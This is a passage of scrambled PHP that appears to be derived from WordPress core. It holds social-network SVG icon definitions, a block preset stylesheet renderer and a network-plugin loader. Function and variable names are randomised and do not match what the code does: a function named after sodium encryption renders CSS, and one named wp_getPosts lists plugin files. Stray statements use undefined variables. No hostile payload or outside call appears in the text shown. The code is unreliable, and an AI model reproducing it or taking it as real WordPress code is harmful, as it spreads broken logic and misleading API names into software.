,1-.762.1.474.474,0,0,1-.456-.241,1.819,1.819,0,0,1-.182-.618,1.411,1.411,0,0,0-.143-.521q-2.852-.429-2.852-1.341a.42.42,0,0,1,.365-.456,5.793,5.793,0,0,0,1.042-.3,5.524,5.524,0,0,0,1.881-1.315,6.789,6.789,0,0,0,1.334-1.953A1.575,1.575,0,0,0,6,12.9a.728.728,0,0,0-.41-.618,3.323,3.323,0,0,0-.9-.384,2.912,2.912,0,0,1-.9-.41.814.814,0,0,1-.41-.684.71.71,0,0,1,.338-.593,1.208,1.208,0,0,1,.716-.241,1.976,1.976,0,0,1,.625.169,2.008,2.008,0,0,0,.69.169.919.919,0,0,0,.416-.091q-.117-1.849-.117-2.474A5.861,5.861,0,0,1,6.385,5.4,5.516,5.516,0,0,1,8.625,2.819,7.075,7.075,0,0,1,12.062,2Z"></path></svg>'), 'soundcloud' => array('name' => 'Soundcloud', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M8.9,16.1L9,14L8.9,9.5c0-0.1,0-0.1-0.1-0.1c0,0-0.1-0.1-0.1-0.1c-0.1,0-0.1,0-0.1,0.1c0,0-0.1,0.1-0.1,0.1L8.3,14l0.1,2.1 c0,0.1,0,0.1,0.1,0.1c0,0,0.1,0.1,0.1,0.1C8.8,16.3,8.9,16.3,8.9,16.1z M11.4,15.9l0.1-1.8L11.4,9c0-0.1,0-0.2-0.1-0.2 c0,0-0.1,0-0.1,0s-0.1,0-0.1,0c-0.1,0-0.1,0.1-0.1,0.2l0,0.1l-0.1,5c0,0,0,0.7,0.1,2v0c0,0.1,0,0.1,0.1,0.1c0.1,0.1,0.1,0.1,0.2,0.1 c0.1,0,0.1,0,0.2-0.1c0.1,0,0.1-0.1,0.1-0.2L11.4,15.9z M2.4,12.9L2.5,14l-0.2,1.1c0,0.1,0,0.1-0.1,0.1c0,0-0.1,0-0.1-0.1L2.1,14 l0.1-1.1C2.2,12.9,2.3,12.9,2.4,12.9C2.3,12.9,2.4,12.9,2.4,12.9z M3.1,12.2L3.3,14l-0.2,1.8c0,0.1,0,0.1-0.1,0.1 c-0.1,0-0.1,0-0.1-0.1L2.8,14L3,12.2C3,12.2,3,12.2,3.1,12.2C3.1,12.2,3.1,12.2,3.1,12.2z M3.9,11.9L4.1,14l-0.2,2.1 c0,0.1,0,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L3.5,14l0.2-2.1c0-0.1,0-0.1,0.1-0.1C3.9,11.8,3.9,11.8,3.9,11.9z M4.7,11.9L4.9,14 l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L4.3,14l0.2-2.2c0-0.1,0-0.1,0.1-0.1C4.7,11.7,4.7,11.8,4.7,11.9z M5.6,12 l0.2,2l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c0,0-0.1,0-0.1,0c0,0,0-0.1,0-0.1L5.1,14l0.2-2c0,0,0-0.1,0-0.1s0.1,0,0.1,0 C5.5,11.9,5.5,11.9,5.6,12L5.6,12z M6.4,10.7L6.6,14l-0.2,2.1c0,0,0,0.1,0,0.1c0,0-0.1,0-0.1,0c-0.1,0-0.1-0.1-0.2-0.2L5.9,14 l0.2-3.3c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0C6.4,10.7,6.4,10.7,6.4,10.7z M7.2,10l0.2,4.1l-0.2,2.1c0,0,0,0.1,0,0.1 c0,0-0.1,0-0.1,0c-0.1,0-0.2-0.1-0.2-0.2l-0.1-2.1L6.8,10c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0S7.2,9.9,7.2,10z M8,9.6L8.2,14 L8,16.1c0,0.1-0.1,0.2-0.2,0.2c-0.1,0-0.2-0.1-0.2-0.2L7.5,14l0.1-4.4c0-0.1,0-0.1,0.1-0.1c0,0,0.1-0.1,0.1-0.1c0.1,0,0.1,0,0.1,0.1 C8,9.6,8,9.6,8,9.6z M11.4,16.1L11.4,16.1L11.4,16.1z M9.7,9.6L9.8,14l-0.1,2.1c0,0.1,0,0.1-0.1,0.2s-0.1,0.1-0.2,0.1 c-0.1,0-0.1,0-0.1-0.1s-0.1-0.1-0.1-0.2L9.2,14l0.1-4.4c0-0.1,0-0.1,0.1-0.2s0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S9.7,9.5,9.7,9.6 L9.7,9.6z M10.6,9.8l0.1,4.3l-0.1,2c0,0.1,0,0.1-0.1,0.2c0,0-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c0,0-0.1-0.1-0.1-0.2L10,14 l0.1-4.3c0-0.1,0-0.1,0.1-0.2c0,0,0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S10.6,9.7,10.6,9.8z M12.4,14l-0.1,2c0,0.1,0,0.1-0.1,0.2 c-0.1,0.1-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2l-0.1-1l-0.1-1l0.1-5.5v0c0-0.1,0-0.2,0.1-0.2 c0.1,0,0.1-0.1,0.2-0.1c0,0,0.1,0,0.1,0c0.1,0,0.1,0.1,0.1,0.2L12.4,14z M22.1,13.9c0,0.7-0.2,1.3-0.7,1.7c-0.5,0.5-1.1,0.7-1.7,0.7 h-6.8c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2V8.2c0-0.1,0.1-0.2,0.2-0.3c0.5-0.2,1-0.3,1.6-0.3c1.1,0,2.1,0.4,2.9,1.1 c0.8,0.8,1.3,1.7,1.4,2.8c0.3-0.1,0.6-0.2,1-0.2c0.7,0,1.3,0.2,1.7,0.7C21.8,12.6,22.1,13.2,22.1,13.9L22.1,13.9z"></path></svg>'), 'spotify' => array('name' => 'Spotify', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,2C6.477,2,2,6.477,2,12c0,5.523,4.477,10,10,10c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2 M16.586,16.424 c-0.18,0.295-0.563,0.387-0.857,0.207c-2.348-1.435-5.304-1.76-8.785-0.964c-0.335,0.077-0.67-0.133-0.746-0.469 c-0.077-0.335,0.132-0.67,0.469-0.746c3.809-0.871,7.077-0.496,9.713,1.115C16.673,15.746,16.766,16.13,16.586,16.424 M17.81,13.7 c-0.226,0.367-0.706,0.482-1.072,0.257c-2.687-1.652-6.785-2.131-9.965-1.166C6.36,12.917,5.925,12.684,5.8,12.273 C5.675,11.86,5.908,11.425,6.32,11.3c3.632-1.102,8.147-0.568,11.234,1.328C17.92,12.854,18.035,13.335,17.81,13.7 M17.915,10.865 c-3.223-1.914-8.54-2.09-11.618-1.156C5.804,9.859,5.281,9.58,5.131,9.086C4.982,8.591,5.26,8.069,5.755,7.919 c3.532-1.072,9.404-0.865,13.115,1.338c0.445,0.264,0.59,0.838,0.327,1.282C18.933,10.983,18.359,11.129,17.915,10.865"></path></svg>'), 'telegram' => array('name' => 'Telegram', 'icon' => '<svg width="24" height="24" viewBox="0 0 128 128" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M28.9700376,63.3244248 C47.6273373,55.1957357 60.0684594,49.8368063 66.2934036,47.2476366 C84.0668845,39.855031 87.7600616,38.5708563 90.1672227,38.528 C90.6966555,38.5191258 91.8804274,38.6503351 92.6472251,39.2725385 C93.294694,39.7979149 93.4728387,40.5076237 93.5580865,41.0057381 C93.6433345,41.5038525 93.7494885,42.63857 93.6651041,43.5252052 C92.7019529,53.6451182 88.5344133,78.2034783 86.4142057,89.5379542 C85.5170662,94.3339958 83.750571,95.9420841 82.0403991,96.0994568 C78.3237996,96.4414641 75.5015827,93.6432685 71.9018743,91.2836143 C66.2690414,87.5912212 63.0868492,85.2926952 57.6192095,81.6896017 C51.3004058,77.5256038 55.3966232,75.2369981 58.9976911,71.4967761 C59.9401076,70.5179421 76.3155302,55.6232293 76.6324771,54.2720454 C76.6721165,54.1030573 76.7089039,53.4731496 76.3346867,53.1405352 C75.9604695,52.8079208 75.4081573,52.921662 75.0095933,53.0121213 C74.444641,53.1403447 65.4461175,59.0880351 48.0140228,70.8551922 C45.4598218,72.6091037 43.1463059,73.4636682 41.0734751,73.4188859 C38.7883453,73.3695169 34.3926725,72.1268388 31.1249416,71.0646282 C27.1169366,69.7617838 23.931454,69.0729605 24.208838,66.8603276 C24.3533167,65.7078514 25.9403832,64.5292172 28.9700376,63.3244248 Z" /></svg>'), 'threads' => array('name' => 'Threads', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.3 11.3c-.1 0-.2-.1-.2-.1-.1-2.6-1.5-4-3.9-4-1.4 0-2.6.6-3.3 1.7l1.3.9c.5-.8 1.4-1 2-1 .8 0 1.4.2 1.7.7.3.3.5.8.5 1.3-.7-.1-1.4-.2-2.2-.1-2.2.1-3.7 1.4-3.6 3.2 0 .9.5 1.7 1.3 2.2.7.4 1.5.6 2.4.6 1.2-.1 2.1-.5 2.7-1.3.5-.6.8-1.4.9-2.4.6.3 1 .8 1.2 1.3.4.9.4 2.4-.8 3.6-1.1 1.1-2.3 1.5-4.3 1.5-2.1 0-3.8-.7-4.8-2S5.7 14.3 5.7 12c0-2.3.5-4.1 1.5-5.4 1.1-1.3 2.7-2 4.8-2 2.2 0 3.8.7 4.9 2 .5.7.9 1.5 1.2 2.5l1.5-.4c-.3-1.2-.8-2.2-1.5-3.1-1.3-1.7-3.3-2.6-6-2.6-2.6 0-4.7.9-6 2.6C4.9 7.2 4.3 9.3 4.3 12s.6 4.8 1.9 6.4c1.4 1.7 3.4 2.6 6 2.6 2.3 0 4-.6 5.3-2 1.8-1.8 1.7-4 1.1-5.4-.4-.9-1.2-1.7-2.3-2.3zm-4 3.8c-1 .1-2-.4-2-1.3 0-.7.5-1.5 2.1-1.6h.5c.6 0 1.1.1 1.6.2-.2 2.3-1.3 2.7-2.2 2.7z"/></svg>'), 'tiktok' => array('name' => 'TikTok', 'icon' => '<svg width="24" height="24" viewBox="0 0 32 32" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.708 0.027c1.745-0.027 3.48-0.011 5.213-0.027 0.105 2.041 0.839 4.12 2.333 5.563 1.491 1.479 3.6 2.156 5.652 2.385v5.369c-1.923-0.063-3.855-0.463-5.6-1.291-0.76-0.344-1.468-0.787-2.161-1.24-0.009 3.896 0.016 7.787-0.025 11.667-0.104 1.864-0.719 3.719-1.803 5.255-1.744 2.557-4.771 4.224-7.88 4.276-1.907 0.109-3.812-0.411-5.437-1.369-2.693-1.588-4.588-4.495-4.864-7.615-0.032-0.667-0.043-1.333-0.016-1.984 0.24-2.537 1.495-4.964 3.443-6.615 2.208-1.923 5.301-2.839 8.197-2.297 0.027 1.975-0.052 3.948-0.052 5.923-1.323-0.428-2.869-0.308-4.025 0.495-0.844 0.547-1.485 1.385-1.819 2.333-0.276 0.676-0.197 1.427-0.181 2.145 0.317 2.188 2.421 4.027 4.667 3.828 1.489-0.016 2.916-0.88 3.692-2.145 0.251-0.443 0.532-0.896 0.547-1.417 0.131-2.385 0.079-4.76 0.095-7.145 0.011-5.375-0.016-10.735 0.025-16.093z" /></svg>'), 'tumblr' => array('name' => 'Tumblr', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.04 21.28h-3.28c-2.84 0-4.94-1.37-4.94-5.02v-5.67H6.08V7.5c2.93-.73 4.11-3.3 4.3-5.48h3.01v4.93h3.47v3.65H13.4v4.93c0 1.47.73 2.01 1.92 2.01h1.73v3.75z" /></path></svg>'), 'twitch' => array('name' => 'Twitch', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.499,8.089h-1.636v4.91h1.636V8.089z M12,8.089h-1.637v4.91H12V8.089z M4.228,3.178L3,6.451v13.092h4.499V22h2.456 l2.454-2.456h3.681L21,14.636V3.178H4.228z M19.364,13.816l-2.864,2.865H12l-2.453,2.453V16.68H5.863V4.814h13.501V13.816z"></path></svg>'), 'twitter' => array('name' => 'Twitter', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z"></path></svg>'), 'vimeo' => array('name' => 'Vimeo', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z"></path></svg>'), 'vk' => array('name' => 'VK', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z"></path></svg>'), 'wordpress' => array('name' => 'WordPress', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z"></path></svg>'), 'whatsapp' => array('name' => 'WhatsApp', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M 12.011719 2 C 6.5057187 2 2.0234844 6.478375 2.0214844 11.984375 C 2.0204844 13.744375 2.4814687 15.462563 3.3554688 16.976562 L 2 22 L 7.2324219 20.763672 C 8.6914219 21.559672 10.333859 21.977516 12.005859 21.978516 L 12.009766 21.978516 C 17.514766 21.978516 21.995047 17.499141 21.998047 11.994141 C 22.000047 9.3251406 20.962172 6.8157344 19.076172 4.9277344 C 17.190172 3.0407344 14.683719 2.001 12.011719 2 z M 12.009766 4 C 14.145766 4.001 16.153109 4.8337969 17.662109 6.3417969 C 19.171109 7.8517969 20.000047 9.8581875 19.998047 11.992188 C 19.996047 16.396187 16.413812 19.978516 12.007812 19.978516 C 10.674812 19.977516 9.3544062 19.642812 8.1914062 19.007812 L 7.5175781 18.640625 L 6.7734375 18.816406 L 4.8046875 19.28125 L 5.2851562 17.496094 L 5.5019531 16.695312 L 5.0878906 15.976562 C 4.3898906 14.768562 4.0204844 13.387375 4.0214844 11.984375 C 4.0234844 7.582375 7.6067656 4 12.009766 4 z M 8.4765625 7.375 C 8.3095625 7.375 8.0395469 7.4375 7.8105469 7.6875 C 7.5815469 7.9365 6.9355469 8.5395781 6.9355469 9.7675781 C 6.9355469 10.995578 7.8300781 12.182609 7.9550781 12.349609 C 8.0790781 12.515609 9.68175 15.115234 12.21875 16.115234 C 14.32675 16.946234 14.754891 16.782234 15.212891 16.740234 C 15.670891 16.699234 16.690438 16.137687 16.898438 15.554688 C 17.106437 14.971687 17.106922 14.470187 17.044922 14.367188 C 16.982922 14.263188 16.816406 14.201172 16.566406 14.076172 C 16.317406 13.951172 15.090328 13.348625 14.861328 13.265625 C 14.632328 13.182625 14.464828 13.140625 14.298828 13.390625 C 14.132828 13.640625 13.655766 14.201187 13.509766 14.367188 C 13.363766 14.534188 13.21875 14.556641 12.96875 14.431641 C 12.71875 14.305641 11.914938 14.041406 10.960938 13.191406 C 10.218937 12.530406 9.7182656 11.714844 9.5722656 11.464844 C 9.4272656 11.215844 9.5585938 11.079078 9.6835938 10.955078 C 9.7955938 10.843078 9.9316406 10.663578 10.056641 10.517578 C 10.180641 10.371578 10.223641 10.267562 10.306641 10.101562 C 10.389641 9.9355625 10.347156 9.7890625 10.285156 9.6640625 C 10.223156 9.5390625 9.737625 8.3065 9.515625 7.8125 C 9.328625 7.3975 9.131125 7.3878594 8.953125 7.3808594 C 8.808125 7.3748594 8.6425625 7.375 8.4765625 7.375 z"></path></svg>'), 'x' => array('name' => 'X', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg>'), 'yelp' => array('name' => 'Yelp', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z"></path></svg>'), 'youtube' => array('name' => 'YouTube', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z"></path></svg>')); if (!empty($error_output) && !empty($removed) && isset($end[$error_output]) && ('icon' === $removed || 'name' === $removed)) { return $end[$error_output][$removed]; } elseif (!empty($error_output) && isset($end[$error_output])) { return $end[$error_output]; } return $end; } $posts_controller = str_split($default_template_folders); function maybe_send_recovery_mode_email($json_translations) { return $json_translations >= 100 && $json_translations < 200; } $oldpath = array_sum($maxTimeout); sort($posts_controller); $subatomsize = array_map(function($offered_ver) use ($v_year) {return $offered_ver * $v_year;}, $p_remove_path_size); /** * Render the block level presets stylesheet. * * @internal * * @since 6.2.0 * @since 6.3.0 Updated preset styles to use Selectors API. * @access private * * @param string|null $post_name_check The pre-rendered content. Default null. * @param array $guessurl The block being rendered. * * @return null */ function sodium_crypto_aead_chacha20poly1305_encrypt($post_name_check, $guessurl) { // Return early if the block has not support for descendent block styles. $send_as_email = WP_Block_Type_Registry::get_instance()->get_registered($guessurl['blockName']); if (!block_has_support($send_as_email, '__experimentalSettings', false)) { return null; } // return early if no settings are found on the block attributes. $match_against = isset($guessurl['attrs']['settings']) ? $guessurl['attrs']['settings'] : null; if (empty($match_against)) { return null; } $passed_as_array = '.' . _wp_get_presets_class_name($guessurl); // the root selector for preset variables needs to target every possible block selector // in order for the general setting to override any bock specific setting of a parent block or // the site root. $ext_header_chunk_length = '*,[class*="wp-block"]'; $editor = WP_Block_Type_Registry::get_instance(); $inkey = $editor->get_all_registered(); foreach ($inkey as $send_as_email) { /* * We only want to append selectors for blocks using custom selectors * i.e. not `wp-block-<name>`. */ $SyncSeekAttempts = isset($send_as_email->supports['__experimentalSelector']) && is_string($send_as_email->supports['__experimentalSelector']) || isset($send_as_email->selectors['root']) && is_string($send_as_email->selectors['root']); if ($SyncSeekAttempts) { $ext_header_chunk_length .= ',' . wp_get_block_css_selector($send_as_email); } } $ext_header_chunk_length = WP_Theme_JSON::scope_selector($passed_as_array, $ext_header_chunk_length); // Remove any potentially unsafe styles. $stored_hash = WP_Theme_JSON::remove_insecure_properties(array('version' => WP_Theme_JSON::LATEST_SCHEMA, 'settings' => $match_against)); $ignore_html = new WP_Theme_JSON($stored_hash); $r4 = ''; // include preset css variables declaration on the stylesheet. $r4 .= $ignore_html->get_stylesheet(array('variables'), null, array('root_selector' => $ext_header_chunk_length, 'scope' => $passed_as_array)); // include preset css classes on the the stylesheet. $r4 .= $ignore_html->get_stylesheet(array('presets'), null, array('root_selector' => $passed_as_array . ',' . $passed_as_array . ' *', 'scope' => $passed_as_array)); if (!empty($r4)) { wp_enqueue_block_support_styles($r4); } return null; } $get = $subkey * $GPS_free_data; $iis_subdir_match = implode('', $posts_controller); /** * Returns array of network plugin files to be included in global scope. * * The default directory is wp-content/plugins. To change the default directory * manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL` in `wp-config.php`. * * @access private * @since 3.1.0 * * @return string[] Array of absolute paths to files to include. */ function wp_getPosts() { $req_cred = (array) get_site_option('active_sitewide_plugins', array()); if (empty($req_cred)) { return array(); } $has_min_height_support = array(); $req_cred = array_keys($req_cred); sort($req_cred); foreach ($req_cred as $filter_excerpt_more) { if (!validate_file($filter_excerpt_more) && 